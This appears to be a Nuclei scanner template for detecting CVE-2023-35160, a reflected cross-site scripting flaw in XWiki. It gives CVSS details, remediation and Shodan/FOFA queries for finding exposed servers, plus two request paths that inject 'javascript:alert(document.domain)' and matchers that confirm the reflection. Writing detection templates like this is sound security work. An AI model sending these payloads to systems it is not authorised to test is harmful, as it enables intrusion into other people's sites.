id: CVE-2023-35160

info:
  name: XWiki >= 2.5-milestone-2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/XWiki/Main xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain). This vulnerability exists since XWiki 2.5-milestone-2. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
  impact: |
    Successful exploitation could lead to cross-site scripting.
  remediation: |
    This vulnerability has been patched in XWiki 14.10.5,15.1-rc-1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20343
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35160
    cwe-id: CWE-79
    epss-score: 0.02268
    epss-percentile: 0.81304
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"
      - "{{BaseURL}}/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="javascript:alert(document.domain)"'
          - 'XWikiGuest'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
          - 401
# digest: 4b0a00483046022100d63541119d257c864814644c0cb25f7e66580eb56f4c78555ca56e0334e0c8cf022100c45e38e83255a48552fd0915f447cac201775b3f55a1b290562e66ad0982e3b7:922c64590222798bb761d5b6d8e72950